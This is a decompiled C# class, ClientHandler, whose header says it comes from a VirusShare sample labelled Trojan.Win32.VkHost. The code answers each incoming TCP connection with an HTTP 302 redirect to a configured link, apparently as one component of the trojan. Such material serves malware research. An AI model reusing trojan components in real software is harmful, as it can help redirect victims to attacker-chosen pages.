// Decompiled with JetBrains decompiler
// Type: ConsoleApplication1.ClientHandler
// Assembly: WebServer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 043129F4-C961-4DF7-9AE5-51E1A9EDC384
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.VkHost.dvc-cebd5866bd3a8ab16d1ffbabeabc73e1b262382f3473ba551e2b95a3bcc567f3.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Net.Sockets;
using System.Text;

namespace ConsoleApplication1
{
  public class ClientHandler
  {
    private TcpClient Client;
    private string ID;
    private string redirectLink;

    public ClientHandler(TcpClient Client, string ID, string redirectLink)
    {
      this.Client = Client;
      this.ID = ID;
      this.redirectLink = redirectLink;
    }

    public void Start()
    {
      NetworkStream stream = this.Client.GetStream();
      byte[] buffer = new byte[checked (this.Client.ReceiveBufferSize + 1)];
      BinaryWriter binaryWriter = new BinaryWriter((Stream) stream);
      StreamReader streamReader = new StreamReader((Stream) stream);
      BinaryReader binaryReader = new BinaryReader((Stream) stream);
      try
      {
        stream.Read(buffer, 0, buffer.Length);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
        return;
      }
      byte[] bytes = Encoding.Default.GetBytes("HTTP/1.1 302 Found\r\nLocation: " + Uri.EscapeUriString(this.redirectLink) + "\r\n\r\n");
      binaryWriter.Write(bytes, 0, bytes.Length);
      this.Client.Close();
      Console.WriteLine(this.ID + ": Client connection closed.");
      Console.ReadLine();
    }
  }
}
